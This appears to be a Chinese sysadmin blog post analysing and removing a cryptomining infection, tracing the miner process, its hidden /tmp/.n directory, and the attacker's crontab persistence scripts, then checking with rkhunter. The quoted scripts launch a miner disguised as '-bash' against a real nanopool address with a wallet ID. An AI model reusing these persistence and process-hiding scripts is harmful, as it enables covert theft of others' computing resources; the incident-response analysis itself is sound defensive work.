问题分析
1. 两台服务器收到告警，top 查看进程发现如下可疑进程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# top
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
19078 vmuser 20 0 680232 14284 1032 S 342.8 0.1 1583:11 md
501 vmuser 20 0 32348 3264 760 R 55.9 0.0 2172:49 [atd]
504 vmuser 20 0 32348 3264 760 R 46.7 0.0 2000:21 [atd]
18469 vmuser 20 0 32348 3504 984 R 46.1 0.0 1252:47 [atd]
18692 vmuser 20 0 32348 3408 908 R 43.1 0.0 318:58.87 [atd]
18695 vmuser 20 0 32348 3536 1020 R 42.8 0.0 129:26.05 [atd]
10547 vmuser 20 0 32348 3412 908 R 40.8 0.0 72:19.69 [atd]
8658 vmuser 20 0 32348 3400 880 R 40.5 0.0 4606:03 [atd]
8655 vmuser 20 0 32348 3468 948 R 40.1 0.0 4383:23 [atd]
10542 vmuser 20 0 32348 3408 908 S 24.7 0.0 90:27.13 [atd]
8549 vmuser 20 0 32348 3372 868 R 9.9 0.0 323:27.79 [atd]
Copy 用户名为 vmuser 的可疑进程
2. 查看 md 进程详情
1
2
3
# ps aux | grep 19078
vmuser 19078 343 0.0 680232 13764 ? Sl 07:38 1613:58 -bash -a cryptonight -o stratum+tcp://etn-us-west1.nanopool.org:13333 -u etnk5c12V3YAb5gLekc5N8SizEpbpDogviaU2U9tff2F9JafNFS9pxmF1PNf4aZrMjRSqd9bhjXn7dbpmepNjKi586ZtD9Cv9N -p x
Copy 查询后果然和自己判断一样是一个挖矿程序
3. 查找用户程序目录
1
2
ls -l /proc/19078/exe
lrwxrwxrwx 1 vmuser vmuser 0 Jan 29 07:38 /proc/19078/exe -> /tmp/.n/md
Copy 4. 进入 /tmp/.n/ 目录有如下文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# ll -sh
total 4.1M
4.0K -rwxr-xr-x 1 vmuser vmuser 327 Jan 23 08:03 1
4.0K -rwxr-xr-x 1 vmuser vmuser 329 Oct 27 21:30 a
4.0K -rw-r--r-- 1 vmuser vmuser 5 Jan 23 14:55 bash.pid
4.0K -rw-r--r-- 1 vmuser vmuser 38 Jan 23 08:11 cron.d
4.0K -rw-r--r-- 1 vmuser vmuser 8 Jan 23 08:11 dir.dir
16K -rwxr-xr-x 1 vmuser vmuser 15K Feb 21 2016 h32
820K -rwxr-xr-x 1 vmuser vmuser 819K Feb 21 2016 h64
2.9M -rwxr-xr-x 1 vmuser vmuser 2.9M Jun 24 2017 md
224K -rwxr-xr-x 1 vmuser vmuser 222K Oct 22 22:25 md32
168K -rwxr-xr-x 1 vmuser vmuser 165K Sep 27 18:58 mdx
4.0K -rwxr-xr-x 1 vmuser vmuser 586 Jan 23 08:03 run
4.0K -rwxr--r-- 1 vmuser vmuser 170 Jan 23 08:11 upd
4.0K -rwxr-xr-x 1 vmuser vmuser 24 Oct 5 02:45 x
4.0K -rwxr--r-- 1 vmuser vmuser 139 Nov 6 05:21 z
Copy 5. 挖矿程序分析
1
2
3
# vim x
nohup ./a >>/dev/null & #执行 a 文件
Copy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# vim a
pwd > dir.dir
dir=$(cat dir.dir)
echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep upd
echo "#!/bin/sh
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
sleep 1
else
cd $dir
./run &>/dev/null
exit 0
fi
fi" >upd
chmod u+x upd
./run &>/dev/null
Copy 获取当前目录，定时任务一直执行 upd 文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# vim upd
#!/bin/sh
if test -r /tmp/.n/bash.pid; then
pid = $( cat /tmp/.n/bash.pid)
if $( kill -CHLD $pid >/dev/null 2>& 1)
then
sleep 1
else
cd /tmp/.n
./run & >/dev/null
exit 0
fi
fi
Copy 检查 /tmp/.n/bash.pid 文件是否可读，如果可读就读出里面的 pid，直接kill掉，重新执行 run
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# vim run
#!/bin/bash
proc = ` nproc`
ARCH = ` uname -m`
HIDE = "-bash"
if [ " $ARCH " == "i686" ] ; then
./h32 -s $HIDE ./md32 -a cryptonight -o stratum+tcp://etn-us-west1.nanopool.org:13333:13333 -u etnk5c12V3YAb5gLekc5N8SizEpbpDogviaU2U9tff2F9JafNFS9pxmF1PNf4aZrMjRSqd9bhjXn7dbpmepNjKi586ZtD9Cv9N -p x >>/dev/null &
elif [ " $ARCH " == "x86_64" ] ; then
./h64 -s $HIDE ./md -a cryptonight -o stratum+tcp://etn-us-west1.nanopool.org:13333 -u etnk5c12V3YAb5gLekc5N8SizEpbpDogviaU2U9tff2F9JafNFS9pxmF1PNf4aZrMjRSqd9bhjXn7dbpmepNjKi586ZtD9Cv9N -p x >>/dev/null &
fi
echo $! > bash.pid
Copy 这个核心文件就是读出操作系统的硬件架构，如果是i386就执行32位的h32和md32，猜测h32是用于让系统显示的进程名称，md32才是真正的挖矿程序。执行完成了就把进程id写入bash.pid中。
6. 过程总结
找系统漏洞->获取权限->创建目录->上传文件->执行x，执行a->a启动crontab执行upd，生成upd并赋权->upd去执行run->run去执行真正的挖矿程序。
清除挖矿程序
1. kill 掉可疑进程,删除程序目录
1
# kill -9 19078 && rm -rf /tmp/.n && rm -rf /tmp/.a
Copy 2. 修改 vmuser 用户密码
注意到挖矿程序都是 vmuser 用户，所以修改 vmuser 用户密码
入侵检测
不放心，使用 rkhunter 检测一下
1. 下载安装
1
2
3
# wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
# tar zxvf rkhunter-1.4.4.tar.gz && tar zxvf rkhunter-1.4.4.tar.gz && cd rkhunter-1.4.4
# ./install.sh --install
Copy 2. 入侵检测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# rkhunter -c -sk
System checks summary
=====================
File properties checks...
Required commands check failed
Files checked: 136
Suspect files: 5
Rootkit checks...
Rootkits checked : 481
Possible rootkits: 0
Applications checks...
All checks skipped
The system checks took: 7 minutes and 22 seconds
All results have been written to the log file: /var/log/rkhunter.log
One or more warnings have been found while checking the system.
Please check the log file (/var/log/rkhunter.log)
Copy Suspect files 的警告和正常服务器上的一致，这里忽略
3. 卸载 rkhunter
1
# cd rkhunter-1.4.4 && ./install.sh --remove
Copy
en?